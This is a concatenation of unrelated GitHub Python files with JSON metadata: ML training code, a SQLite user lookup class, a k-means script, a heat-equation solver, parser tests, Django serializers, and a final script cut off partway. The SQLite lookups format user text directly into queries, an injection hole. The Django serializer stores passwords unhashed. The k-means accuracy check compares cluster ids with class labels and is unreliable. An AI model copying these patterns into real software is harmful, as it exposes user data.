np.random.seed(11747)\r\n torch.manual_seed(11747)\r\n torch.cuda.manual_seed_all(11747)\r\n\r\n\r\ndef train(args, model, dataloaders, examples, loss_func, optimizer):\r\n dataloader = dataloaders['train']\r\n\r\n tb_writer = SummaryWriter()\r\n batch_size = args.batch_size\r\n\r\n t_total = len(dataloader) // args.gradient_accumulation_steps * args.num_train_epochs\r\n\r\n dev_loader = dataloaders['dev']\r\n dev_example = examples['dev']\r\n\r\n # Training\r\n logger.info(\"***** Running training *****\")\r\n logger.info(\" Num examples = %d\", len(dataloader))\r\n logger.info(\" Num Epochs = %d\", args.num_train_epochs)\r\n logger.info(\" Gradient Accumulation steps = %d\", args.gradient_accumulation_steps)\r\n logger.info(\" Total optimization steps = %d\", t_total)\r\n\r\n global_step = 0\r\n epochs_trained = 0\r\n steps_trained_in_current_epoch = 0\r\n\r\n tr_loss, logging_loss = 0.0, 0.0\r\n model.zero_grad()\r\n #train_iterator = trange(epochs_trained, int(args.num_train_epochs), desc=\"Epoch\")\r\n #train_iterator = range(int(args.num_train_epochs))\r\n\r\n best_result = -1.\r\n accumulated_loss = 0.\r\n for epoch in range(epochs_trained, int(args.num_train_epochs)):\r\n #epoch_iterator = tqdm(dataloader, desc=\"Iteration\")\r\n\r\n #for step, batch in enumerate(epoch_iterator):\r\n for step, batch in enumerate(dataloader):\r\n model.train()\r\n text_id = batch[0].to(args.device,dtype=torch.long) # [BS, SENT_LEN]\r\n visual_input = batch[1].to(args.device,dtype=torch.float) # [BS, SENT_LEN, 18]\r\n labels = batch[2].to(args.device,dtype=torch.long) # [BS, SENT_LEN]\r\n input_mask = batch[3].to(args.device,dtype=torch.bool) # [BS, SENT_LEN]\r\n valid_id = batch[4].to(args.device,dtype=torch.bool) # [BS, SENT_LEN]\r\n meta = batch[5].to(args.device, dtype=torch.float) # [BS, META_DIM]\r\n\r\n pred_outputs = model(text_id, visual_input, input_mask, meta)\r\n valid_id = valid_id.view(-1)\r\n pred_outputs = pred_outputs.view(-1,args.tag_num)[valid_id]\r\n labels = labels.view(-1)[valid_id]\r\n loss = loss_func(pred_outputs,labels)\r\n if args.gradient_accumulation_steps > 1:\r\n loss = loss / args.gradient_accumulation_steps\r\n loss.backward()\r\n\r\n tr_loss += loss.item()\r\n accumulated_loss += loss.item()\r\n if (step + 1) % args.gradient_accumulation_steps == 0:\r\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm)\r\n print(f\"[{epoch}, {step + 1}] loss: {(accumulated_loss):.6f}\")\r\n accumulated_loss = 0\r\n optimizer.step()\r\n model.zero_grad()\r\n global_step += 1\r\n\r\n if args.logging_steps > 0 and global_step % args.logging_steps == 0:\r\n # Log metrics\r\n if args.evaluate_during_training: # Only evaluate when single GPU otherwise metrics may not average well\r\n print(f\"evaluating at global_step {global_step}:\")\r\n results = evaluate(args, model, dev_loader, dev_example, num_to_evaluate=args.evaluate_num, print_name=\"Trying\")\r\n for key, value in results.items():\r\n print(f\"\\t{key}: {value:.6f}\")\r\n tb_writer.add_scalar(\"eval_{}\".format(key), value, global_step)\r\n if results[args.main_metric] > best_result and args.save_best:\r\n print(\"Saving best model ...\")\r\n best_result = results[args.main_metric]\r\n output_dir = os.path.join(args.output_dir, \"checkpoint-best\")\r\n if not os.path.exists(output_dir):\r\n os.makedirs(output_dir)\r\n torch.save(args, os.path.join(output_dir, \"training_args.bin\"))\r\n torch.save(model.state_dict(), os.path.join(output_dir, \"model.pt\"))\r\n torch.save(optimizer.state_dict(), os.path.join(output_dir, \"optimizer.pt\"))\r\n # TODO: add learning decay scheduler\r\n # tb_writer.add_scalar(\"lr\", scheduler.get_lr()[0], global_step)\r\n tb_writer.add_scalar(\"loss\", (tr_loss - logging_loss) / args.logging_steps, global_step)\r\n logging_loss = tr_loss\r\n\r\n\r\n if args.save_steps > 0 and global_step % args.save_steps == 0:\r\n # TODO: should save current epoch and step for restoring\r\n # Save model checkpoint\r\n output_dir = os.path.join(args.output_dir, \"checkpoint-{}\".format(global_step))\r\n print(output_dir, os.path.exists(output_dir))\r\n if not os.path.exists(output_dir):\r\n os.makedirs(output_dir)\r\n torch.save(args, os.path.join(output_dir, \"training_args.bin\"))\r\n torch.save(model.state_dict(), os.path.join(output_dir, \"model.pt\"))\r\n torch.save(optimizer.state_dict(), os.path.join(output_dir, \"optimizer.pt\"))\r\n\r\n if args.max_steps > 0 and global_step > args.max_steps:\r\n break\r\n\r\n # print(f\"evaluating on training set for epoch {epoch}:\")\r\n # results, _ = evaluate(args, model, dataloader, num_to_evaluate=args.evaluate_num)\r\n # for key, value in results.items():\r\n # print(f\"\\t{key}: {value}\")\r\n\r\n if args.max_steps > 0 and global_step > args.max_steps:\r\n break\r\n\r\n tb_writer.close()\r\n\r\n return global_step, tr_loss / global_step\r\n\r\n\r\ndef evaluate(args, model, dataloader, examples, calc_f1=True, num_to_evaluate=-1, print_name=None):\r\n true_ans_ls, pred_ans_ls = [], []\r\n batch_size = args.batch_size\r\n if (print_name is not None) and (args.print_dir is not None):\r\n if not os.path.exists(args.print_dir):\r\n os.makedirs(args.print_dir)\r\n f = open(os.path.join(args.print_dir,print_name+\"_predict.json\"),'w')\r\n model.eval()\r\n loss = 0\r\n all_outputs = None\r\n all_valid_ids = None\r\n with torch.no_grad():\r\n for step, batch in enumerate(dataloader):\r\n text_id = batch[0].to(args.device, dtype=torch.long)\r\n visual_input = batch[1].to(args.device, dtype=torch.float)\r\n labels = batch[2].to(args.device,dtype=torch.long)\r\n input_mask = batch[3].to(args.device,dtype=torch.bool)\r\n valid_id = batch[4].to(args.device,dtype=torch.bool) # [BS, SENT_LEN]\r\n meta = batch[5].to(args.device, dtype=torch.float)\r\n pred_outputs = model(text_id, visual_input, input_mask, meta)\r\n\r\n valid_id_for_loss = valid_id.view(-1)\r\n pred_outputs_for_loss = pred_outputs.view(-1,args.tag_num)[valid_id_for_loss]\r\n labels = labels.view(-1)[valid_id_for_loss]\r\n #loss += F.cross_entropy(pred_outputs_for_loss,labels).item()\r\n loss += F.nll_loss(pred_outputs_for_loss, labels).item()\r\n #pred_outputs = F.softmax(pred_outputs, dim=-1)\r\n pred_outputs = torch.exp(pred_outputs)\r\n if all_outputs is None:\r\n all_outputs = pred_outputs\r\n all_valid_ids = valid_id\r\n else:\r\n all_outputs = torch.cat([all_outputs, pred_outputs], 0)\r\n all_valid_ids = torch.cat([all_valid_ids, valid_id], 0)\r\n\r\n if num_to_evaluate>0 and all_outputs.shape[0]>num_to_evaluate:\r\n break\r\n print(f\"Evaluation loss: {loss/all_outputs.shape[0]}\")\r\n\r\n all_outputs_arr = all_outputs.to('cpu').data.numpy()\r\n all_valid_ids_arr = all_valid_ids.to('cpu').data.numpy()\r\n for idx in range(all_outputs_arr.shape[0]):\r\n example = examples[idx]\r\n pred_logits = all_outputs_arr[idx].reshape(args.max_text_length,args.tag_num)\r\n valid_id = all_valid_ids_arr[idx]\r\n single_pred_dic = {}\r\n single_pred_dic['url'] = example.url\r\n single_pred_dic['text'] = example.text[:args.max_text_length]\r\n single_pred_dic['true_kp'] = example.keyphrase\r\n single_pred_dic['KeyPhrases'] = get_predicted_keyphrase(args, single_pred_dic, pred_logits, valid_id)\r\n\r\n if (print_name is not None) and (args.print_dir is not None):\r\n j_dict = {'KeyPhrases':[], 'url':example.url}\r\n for phrase in single_pred_dic['KeyPhrases']:\r\n j_dict['KeyPhrases'].append(phrase.split())\r\n json.dump(j_dict,f)\r\n f.write(\"\\n\")\r\n true_ans_ls.append(example.keyphrase)\r\n pred_ans_ls.append(single_pred_dic['KeyPhrases'])\r\n\r\n result = evaluate_kps(true_ans_ls, pred_ans_ls)\r\n print(result)\r\n return result\r\n\r\ndef main():\r\n args = get_parser()\r\n print(args)\r\n args.tokenizer = BertTokenizer.from_pretrained(\"bert-base-uncased\")\r\n args.tokenizer.add_special_tokens({'additional_special_tokens':['[TITLE]']})\r\n if not (args.train or args.test or args.dev):\r\n raise NotImplementedError(\"Need to define task!\")\r\n if not os.path.exists(args.output_dir):\r\n os.makedirs(args.output_dir)\r\n\r\n# set_seed()\r\n\r\n # Data Prep #\r\n dataset_ls, example_ls = load_and_cache_examples(args)\r\n data_loader_dict, example_dict = dict(), dict()\r\n train_loader = DataLoader(dataset_ls[0],\r\n sampler=RandomSampler(dataset_ls[0]),\r\n batch_size=args.batch_size)\r\n dev_loader = DataLoader(dataset_ls[1],\r\n sampler=SequentialSampler(dataset_ls[1]),\r\n batch_size=args.batch_size)\r\n test_loader = DataLoader(dataset_ls[2],\r\n sampler=SequentialSampler(dataset_ls[2]),\r\n batch_size=args.batch_size)\r\n data_loader_dict['train'] = train_loader\r\n data_loader_dict['dev'] = dev_loader\r\n data_loader_dict['test'] = test_loader\r\n example_dict['dev'] = example_ls[1]\r\n example_dict['test'] = example_ls[2]\r\n\r\n # Model prep #\r\n device = torch.device(\"cuda\" if torch.cuda.is_available() and not (args.device==\"cpu\") else \"cpu\")\r\n args.device = device\r\n if args.from_checkpoint is not None:\r\n old_args = torch.load(os.path.join(args.from_checkpoint, \"training_args.bin\"))\r\n check_diff = [\"max_text_length\", \"visual_size\"]\r\n for prop in check_diff:\r\n if args.__dict__[prop] != old_args.__dict__[prop]:\r\n print(f\"Argument {prop} should be consistent:\")\r\n print(f\"Loaded {prop}: {old_args.__dict__[prop]}\")\r\n print(f\"New {prop}: {args.__dict__[prop]}\")\r\n raise NotImplementedError\r\n\r\n model = BLING_KPE(args)\r\n model = torch.nn.DataParallel(model)\r\n model.to(device)\r\n optimizer = torch.optim.AdamW(model.parameters(),\r\n lr=args.learning_rate,\r\n weight_decay=args.weight_decay)\r\n # TODO: 150 should be a hyperparameter\r\n # loss_func = nn.CrossEntropyLoss(weight=torch.tensor([1.,1.,1.,1.,1.]).to(device))\r\n loss_func = nn.NLLLoss()\r\n\r\n if args.from_checkpoint is not None:\r\n # Load part of the state dict:\r\n pretrained_model = torch.load(os.path.join(args.from_checkpoint, \"model.pt\"))\r\n tot_mat_num = len(pretrained_model)\r\n model_dict = model.state_dict()\r\n pretrained_model = {k: v for k, v in pretrained_model.items() if k in model_dict and model_dict[k].size() == v.size()}\r\n load_mat_num = len(pretrained_model)\r\n model_dict.update(pretrained_model)\r\n model.load_state_dict(model_dict)\r\n print(f\"Successfully loaded pretrained parameters. Total: {tot_mat_num}, Loaded: {load_mat_num}\")\r\n # Load part of the state dict where size matches.\r\n if tot_mat_num == load_mat_num:\r\n pretrained_optimizer = torch.load(os.path.join(args.from_checkpoint, \"optimizer.pt\"))\r\n optimizer.load_state_dict(pretrained_optimizer)\r\n\r\n # Find total parameters and trainable parameters\r\n# total_params = sum(p.numel() for p in model.parameters())\r\n# print(f'{total_params:,} total parameters.')\r\n# total_trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\r\n# print(f'{total_trainable_params:,} training parameters.')\r\n\r\n # print(model)\r\n\r\n if args.train:\r\n global_step, tr_loss = train(args, model, data_loader_dict, example_dict, loss_func, optimizer)\r\n print(global_step, tr_loss)\r\n\r\n if args.dev:\r\n results = evaluate(args, model, data_loader_dict['dev'], example_dict['dev'], calc_f1=True, print_name='dev')\r\n if not args.only_pred:\r\n print(\"Evaluation results on validation set:\")\r\n for key in results:\r\n print(f\"{key}: {results[key]}\")\r\n # TODO if anyone wants: present or save the predicted keyphrases\r\n\r\n if args.test:\r\n results = evaluate(args, model, data_loader_dict['test'], example_dict['test'], calc_f1=False, print_name='test')\r\n # TODO if anyone wants: present or save the predicted keyphrases\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"victorywys/SMART-KPE","sub_path":"SMART-KPE/run_model.py","file_name":"run_model.py","file_ext":"py","file_size_in_byte":14153,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"7"} +{"seq_id":"27453106171","text":"import sqlite3\nfrom model.user import User\n\n\ndef not_dict(data):\n return str(type(data)) != \"\"\n\nclass SQLManager(object):\n \"\"\"\n TABLE STRUCTURE\n PHONE | NAME |\n \"\"\"\n conn = None\n db_path = \"database/users.db\"\n table = \"USERS\"\n\n def __init__(self):\n print(\"SQL Manager init\")\n\n def connect_db(self):\n print(\"Connect sql\")\n self.conn = sqlite3.connect(self.db_path)\n\n def init_table(self):\n c = self.conn.cursor()\n #cmd = \"CREATE TABLE IF NOT EXISTS {0} (\".format(self.table)\n #cmd += \"ID INTEGER PRIMARY KEY AUTOINCREMENT, \"\n cmd = \"DROP TABLE IF EXISTS {0}\".format(self.table)\n c.execute(cmd)\n cmd = \"CREATE TABLE IF NOT EXISTS {0} (\".format(self.table)\n cmd += \"PHONE TEXT PRIMARY KEY, \"\n cmd += \"NAME TEXT \"\n cmd += \" );\"\n c.execute(cmd)\n c.execute(\"DELETE FROM \" + self.table)\n c.close()\n\n def insert_users(self, users):\n c = self.conn.cursor()\n\n #if null or not dict\n if users is None or not_dict(users):\n return\n\n # info keys : name, phone, regisration, visitCount\n infos = []\n for phone, info in users.items():\n infos.append((info['phone'], info['name']))\n print(infos[len(infos)-1])\n\n cmd = \"INSERT INTO {0} VALUES (?,?)\".format(self.table)\n c.executemany(cmd, infos)\n self.conn.commit()\n c.close()\n print(\"Sync Ok\")\n\n def get_user_by_phone(self, phone):\n print(phone)\n c = sqlite3.connect(self.db_path).cursor()\n cmd = \"SELECT * FROM {0} WHERE PHONE = '{1}';\".format(self.table, phone)\n c.execute(cmd)\n data = c.fetchone()\n user = User()\n user.set_phone(data[0])\n user.set_name(data[1])\n return user\n\n def get_matched_user(self, text):\n matched = []\n\n cmd = \"SELECT * FROM {0} \".format(self.table)\n cmd += \"WHERE PHONE LIKE '%{0}%' OR \".format(text)\n cmd += \"NAME LIKE '%{0}%' \".format(text)\n cmd += \"LIMIT 10; \"\n c = sqlite3.connect(self.db_path).cursor()\n c.execute(cmd)\n\n for data in c.fetchall():\n info = \"{0} | {1}\".format(data[0], data[1])\n matched.append(info)\n\n return matched\n\n\n","repo_name":"seongjinkime/crews","sub_path":"database/sql_manager.py","file_name":"sql_manager.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34371259030","text":"import pandas as pd\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef main(): \n \t\n dataSource = \"https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\"\n data = pd.read_csv(dataSource, names=['type', 'alcohol', 'malic acid', 'ash', 'alcalinity of ash', 'magnesium', 'total phenols', 'flavanoids', 'nonflavanoid phenols', 'proanthocyanins', 'color intensity', 'hue', 'OD280/OD315 of diluted wines', 'proline'])\n features = ['alcohol', 'malic acid', 'ash', 'alcalinity of ash', 'magnesium', 'total phenols',\n 'flavanoids', 'nonflavanoid phenols', 'proanthocyanins', 'color intensity', 'hue', 'OD280/OD315 of diluted wines', 'proline',]\n x = data.loc[:, features].values\n y = data.loc[:, ['type']].values\n \n k = 3\n kMeans = KMeans(n_clusters = k).fit(x)\n \n correct = 0\n for i in range(len(x)):\n \n prediction1 = np.array(x[i])\n prediction1 = prediction1.reshape(-1, len(prediction1))\n prediction = kMeans.predict(prediction1)\n if prediction[0] == y[i][0]:\n correct += 1\n\n print('Accuracy = ' + str((correct/len(y)) * 100) + '%')\n\nmain()\n","repo_name":"capodgornik/misc-school-code-496t","sub_path":"kMeansAccuracy.py","file_name":"kMeansAccuracy.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70643211742","text":"\n\nimport FVM2D as fvm\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nlongitudx = 10 # meters\nlongitudy = 10\nTA = 100 # °C \nTB = 200 # °C \nTC = 100\nTD = 500\nq = 1e+06\nrho = 1.0 # kg/m^3\nk = 1000 # W/m.K\nux = .1 # m/s\nuy = .1 # m/s\n\ndelta_t = 0.002 # Paso de tiempo\nsteps = 500\n\nmalla = fvm.Mesh2D(15,15,lengthX=longitudx, lengthY=longitudy)\nprint(malla.nodesX,malla.volumesX)\nmalla.createMesh()\nprint(malla.dx)\n\ncoef = fvm.Coefficients2D(malla.volumesX,malla.volumesY,malla.dx,malla.dy)\ncoef.alloc()\n\ndif = fvm.Diffusion2D(malla.volumesX,malla.volumesY,malla.dx,malla.dy,k)\nadv = fvm.Advection2D(malla.volumesX,malla.volumesY,malla.dx,malla.dy,rho)\ntem = fvm.Temporal2D(malla.volumesX,malla.volumesY,rho,malla.dx,malla.dy,delta_t)\n\nT = np.ones([coef.nvx,coef.nvy])*0 #Condicion inicial\n#Le aplicamos las condiciones de frontera a los coeficientes y a el vector solucion\n\nT[:,0] = TA\nT[:,-1] = TD\nT[0,:] = TC\nT[-1,:] = TB\nT_aux=T[1:-1,1:-1].ravel()\nNx=coef.nvx-2\nNy = coef.nvy-2\ncoef.bcDirichlet('LEFT_WALL',TA)\ncoef.bcDirichlet('TOP_WALL',TC)\ncoef.bcDirichlet('RIGHT_WALL',TD)\ncoef.bcDirichlet('BOTTOM_WALL',TB)\n\n\n\nfor i in range(1, steps+1):\n\n coef.cleanCoefficients()\n dif.calcCoef()\n adv.setUx(ux)\n adv.setUy(uy)\n adv.calcCoef()\n tem.calcCoef(T)\n\n coef.bcDirichlet('LEFT_WALL',TA)\n coef.bcDirichlet('TOP_WALL',TC)\n coef.bcDirichlet('RIGHT_WALL',TD)\n coef.bcDirichlet('BOTTOM_WALL',TB)\n\n A = fvm.Matrix2D(malla.volumesX,malla.volumesY)\n A.build(coef)\n\n T_aux = np.linalg.solve(A.A,coef.Su[1:-1,1:-1].flatten())\n T_aux.shape = (Nx,Ny)\n T[1:-1,1:-1] =T_aux\n\n \n\n\nf1 = plt.figure()\nc = plt.contourf(malla.X,malla.Y,T,8, alpha=.75,cmap='inferno')\nf1.colorbar(c, shrink=1.0)\n\n\nsurf=plt.figure(figsize=(5,4)) \nax=surf.gca(projection='3d')\ns=ax.plot_surface(malla.X,malla.Y,T, cmap='inferno')\ncbar=surf.colorbar(s, shrink=0.5)\n\n\n\nplt.show()\n","repo_name":"HunterIA97/HeatCrash_Proyect","sub_path":"2D_POO/ejemplo5.py","file_name":"ejemplo5.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2710881694","text":"# coding: utf-8\n\"\"\" Unit tests for ibflex.parser module \"\"\"\n# stdlib imports\nimport unittest\nfrom unittest.mock import Mock, patch, call, sentinel\nimport xml.etree.ElementTree as ET\n\n\n# local imports\nfrom ibflex import fields, schemata, parser\n\n\nclass FlexParserTestCase(unittest.TestCase):\n # @patch('xml.etree.ElementTree.ElementTree')\n # @patch('parser.parse_response')\n # def testParse(self, mock_etree, mock_parse_response_method):\n # instance = mock_etree.return_value\n # instance.parse.return_value = 'FOO'\n # parser.parse('foo')\n # print(mock_etree.mock_calls)\n # print(instance.parse.mock_calls)\n\n @patch('ibflex.parser.parse_stmts')\n def testParseResponse(self, mock_parse_stmts):\n data = ET.Element('FlexQueryResponse', {'queryName': 'Test', 'type': ''})\n ET.SubElement(data, 'FlexStatements', {'count': '1'})\n output = parser.parse_response(data)\n\n self.assertEqual(mock_parse_stmts.mock_calls,\n [call.convert(e) for e in data])\n\n self.assertIsInstance(output, dict)\n self.assertEqual(len(output), 3)\n self.assertEqual(output['queryName'], 'Test')\n self.assertEqual(output['type'], None)\n self.assertIn('FlexStatements', output)\n\n def testParseResponseNoFlexStatements(self):\n data = ET.Element('FlexQueryResponse', {'queryName': 'Test', 'type': ''})\n with self.assertRaises(parser.FlexParserError):\n parser.parse_response(data)\n\n def testParseResponseTooManyFlexStatements(self):\n data = ET.Element('FlexQueryResponse', {'queryName': 'Test', 'type': ''})\n ET.SubElement(data, 'FlexStatements', {'count': '1'})\n ET.SubElement(data, 'FlexStatements', {'count': '1'})\n with self.assertRaises(parser.FlexParserError):\n parser.parse_response(data)\n\n @patch('ibflex.parser.parse_stmt')\n def testParseStmts(self, mock_parse_stmt_method):\n data = ET.Element('FlexStatements', {'count': '2'})\n ET.SubElement(data, 'FlexStatement')\n ET.SubElement(data, 'FlexStatement')\n output = parser.parse_stmts(data)\n\n self.assertEqual(mock_parse_stmt_method.mock_calls,\n [call(e) for e in data])\n\n self.assertIsInstance(output, list)\n self.assertEqual(len(output), 2)\n\n def testParseStmt(self):\n pass\n\n # @patch('ibflex.parser.parse_acctinfo')\n # def testParseStmtChild(self, mock_parse_acctinfo):\n # \"\"\"\n # parse_stmt_child() looks up the Element.tag in stmt_child_parsers,\n # passes the Element to the looked-up parser, and returns the result.\n # \"\"\"\n # element = ET.Element('AccountInformation')\n # output = parser.parse_stmt_child(element)\n # print(output)\n\n @patch.object(schemata.AccountInformation, 'convert', return_value=sentinel.dict)\n def testParseAcctInfo(self, mock_convert_method):\n output = parser.parse_acctinfo(sentinel.elem)\n\n self.assertEqual(mock_convert_method.mock_calls, [call(sentinel.elem)])\n\n self.assertIsInstance(output, tuple)\n self.assertEqual(len(output), 2)\n tag, conversion = output\n self.assertEqual(tag, 'AccountInformation')\n self.assertIs(conversion, sentinel.dict)\n\n @patch('ibflex.parser.parse_rate', wraps=lambda rate: (rate, None))\n def testParseRates(self, mock_parse_rate_method):\n \"\"\"\n parse_rates() passes each child of input element to parse_rate,\n and collects the returned values into a dict.\n \"\"\"\n elem = [sentinel.rate1, sentinel.rate2]\n output = parser.parse_rates(elem)\n\n self.assertEqual(mock_parse_rate_method.mock_calls,\n [call(sentinel.rate1), call(sentinel.rate2)])\n\n self.assertIsInstance(output, tuple)\n self.assertEqual(len(output), 2)\n tag, conversion = output\n self.assertEqual(tag, 'ConversionRates')\n self.assertIsInstance(conversion, dict)\n self.assertEqual(len(conversion), 2)\n self.assertIn(sentinel.rate1, conversion)\n self.assertIn(sentinel.rate2, conversion)\n\n @patch.object(schemata.ConversionRate, 'convert',\n return_value={'fromCurrency': sentinel.currency,\n 'reportDate': sentinel.reportDate,\n 'rate': sentinel.rate})\n def testParseRate(self, mock_convert_method):\n output = parser.parse_rate(sentinel.elem)\n\n self.assertEqual(mock_convert_method.mock_calls, [call(sentinel.elem)])\n\n self.assertIsInstance(output, tuple)\n self.assertEqual(len(output), 2)\n key, rate = output\n\n self.assertIsInstance(key, tuple)\n self.assertEqual(len(key), 2)\n currency, reportDate = key\n self.assertIs(currency, sentinel.currency)\n self.assertIs(reportDate, sentinel.reportDate)\n\n self.assertIs(rate, sentinel.rate)\n\n @patch('ibflex.parser.parse_list', return_value=(None, sentinel.fxLots))\n def testParseFxpos(self, mock_parse_list_method):\n elem = ET.Element('DoesNotMatter')\n subelem = ET.SubElement(elem, 'FxLots')\n output = parser.parse_fxpos(elem)\n\n self.assertEqual(mock_parse_list_method.mock_calls, [call(subelem)])\n\n self.assertIsInstance(output, tuple)\n self.assertEqual(len(output), 2)\n tag, items = output\n self.assertEqual(tag, 'FxPositions')\n self.assertIs(items, sentinel.fxLots)\n\n def testParseFxposEmptyContainer(self):\n elem = ET.Element('DoesNotMatter')\n output = parser.parse_fxpos(elem)\n self.assertIsInstance(output, tuple)\n self.assertEqual(len(output), 2)\n tag, items = output\n self.assertEqual(tag, 'FxPositions')\n self.assertIsInstance(items, list)\n self.assertEqual(len(items), 0)\n\n def testParseFxposTooManyChildren(self):\n elem = ET.Element('DoesNotMatter')\n ET.SubElement(elem, 'AlsoDoesNotMatter')\n ET.SubElement(elem, 'StillDoesNotMatter')\n with self.assertRaises(parser.FlexParserError):\n parser.parse_fxpos(elem)\n\n def testParseFxposChildTagIsNotFxlots(self):\n elem = ET.Element('DoesNotMatter')\n ET.SubElement(elem, 'NotFxLots')\n with self.assertRaises(parser.FlexParserError):\n parser.parse_fxpos(elem)\n\n @patch.dict('ibflex.schemata.elementSchemata', {'List': Mock(name='MockSchema')}, clear=True)\n def testParseList(self):\n \"\"\"\n parser.parse_list() looks up item schema by list tag\n and calls schema.convert() on each item\n \"\"\"\n data = ET.Element('List')\n ET.SubElement(data, 'Item', {'foo': 'hello', 'bar': '1', 'baz': 'Y'})\n ET.SubElement(data, 'Item', {'foo': 'hi', 'bar': '2', 'baz': 'N'})\n output = parser.parse_list(data)\n self.assertEqual(len(output), 2)\n tag, items = output\n self.assertIsInstance(tag, str)\n self.assertEqual(tag, 'List')\n self.assertIsInstance(items, list)\n self.assertEqual(len(items), 2)\n\n mockSchema = schemata.elementSchemata['List']\n self.assertEqual(mockSchema.mock_calls, [call.convert(data[0]),\n call.convert(data[1])])\n\n def testParseListUnknownTag(self):\n unknownTag = 'List'\n self.assertNotIn(unknownTag, schemata.elementSchemata)\n data = ET.Element(unknownTag)\n ET.SubElement(data, 'Item', {'foo': 'hello', 'bar': '1', 'baz': 'Y'})\n with self.assertRaises(parser.FlexParserError):\n parser.parse_list(data)\n\n def testStmtChildParsers(self):\n self.assertEqual(parser.stmt_child_parsers['AccountInformation'],\n parser.parse_acctinfo)\n self.assertEqual(parser.stmt_child_parsers['ConversionRates'],\n parser.parse_rates)\n self.assertEqual(parser.stmt_child_parsers['FxPositions'],\n parser.parse_fxpos)\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=3)\n","repo_name":"emteedubs/ibflex","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":8102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"30091883191","text":"from rest_framework import serializers\nfrom .models import *\nfrom trade.models import UserStatus\n\nclass UserProfileSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Profile\n\n # fields = ('gender', 'birthday', 'icon', 'role', )\n exclude = ['user']\n depth = 1\n\n\nclass UserDetailSerializer(serializers.ModelSerializer):\n profile = UserProfileSerializer()\n\n class Meta:\n model = User\n fields = ('id', 'username', 'password', 'email', 'profile',)\n depth = 1\n\n def update(self, instance, validated_data):\n print(validated_data)\n profile_data = validated_data.pop('profile')\n instance.username = validated_data.get('username', instance.username)\n instance.email = validated_data.get('email', instance.email)\n instance.save()\n if profile_data:\n profile = instance.profile\n profile.gender = profile_data.get('gender', profile.gender)\n profile.birthday = profile_data.get('birthday', profile.birthday)\n profile.icon = profile_data.get('icon', profile.icon)\n profile.save()\n return instance\n\n\nclass UserSerializer(serializers.ModelSerializer):\n profile = UserProfileSerializer()\n\n class Meta:\n model = User\n fields = ('id', 'username', 'password', 'email', 'profile',)\n depth = 1\n\n def create(self, validated_data):\n profile = validated_data.pop('profile', None)\n user = super().create(validated_data)\n profile['user'] = user\n if profile is not None:\n Profile.objects.create(**profile)\n UserStatus.objects.create(user=user)\n return user\n","repo_name":"timothyshen/BookShelf","sub_path":"apps/users/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"42981763264","text":"from sklearn import tree # 导入决策树\r\nfrom sklearn.datasets import load_iris # 导入datasets创建数组\r\n\r\niris = load_iris()\r\niris_data = iris.data # 选择训练数组\r\niris_target = iris.target # 选择对应标签数组\r\n\r\nclf = tree.DecisionTreeClassifier() # 创建决策树模型\r\nclf = clf.fit(iris_data, iris_target) # 拟合模型\r\nimport graphviz # 导入决策树可视化模块\r\n\r\ndot_data = tree.export_graphviz(clf, out_file=None) # 以DOT格式导出决策树\r\ngraph = graphviz.Source(dot_data)\r\ngraph.render(r'iris') # 使用garDphviDz将决策树转存PDF存放到桌面,文件名叫iris","repo_name":"lucky5656/Machine-Learning-Programming","sub_path":"Machine-Learning-master/02Decision Tree/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"zh","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"33356071769","text":"import os\nfrom dotenv import load_dotenv, find_dotenv\n\nif not find_dotenv():\n exit('Переменные окружения не загружены т.к отсутствует файл .env')\nelse:\n load_dotenv()\n\nBOT_TOKEN = os.getenv('BOT_TOKEN')\nRAPID_API_KEY = os.getenv('RAPID_API_KEY')\nDEFAULT_COMMANDS = (\n ('start', \"Запустить бота\"),\n ('help', \"Вывести справку\"),\n ('lowprice', \"Цена по убыванию\"),\n ('highprice', \"Цена по возрастанию\"),\n ('bestdeal', \"Поиск по цене и расстоянию\"),\n ('history', \"История запросов\")\n)\n","repo_name":"pumN1/Hotels_tlg_bot","sub_path":"config_data/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12610678874","text":"# author:\n# date:\n\n'''This script will pull data from a source url\nand store it in a specified file\n\nUsage: get_linked_corp_data.py --target_file=\n\nOptions:\n--target_file= Target file name to store data (with path)\n'''\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom datetime import datetime\nfrom docopt import docopt\n\nopt = docopt(__doc__)\n\ndef main(target_file):\n def prov_cleanup(x):\n invalid_prov_dict = {\n \"BC\": \"BC\",\n \"Quebec\": \"QC\",\n \"ON\": \"ON\",\n \"MB\": \"MB\",\n \"AB\": \"AB\",\n \"QC\": \"QC\",\n \"British Columbia\": \"BC\",\n \"NB\": \"NB\",\n \"NS\": \"NS\",\n \"SK\": \"SK\",\n \"Ontario\": \"ON\",\n \"Alberta\": \"AB\"\n }\n \n if np.nan in [x]:\n return x\n elif x in invalid_prov_dict:\n return invalid_prov_dict[x]\n else:\n return \"Other\"\n\n\n try:\n 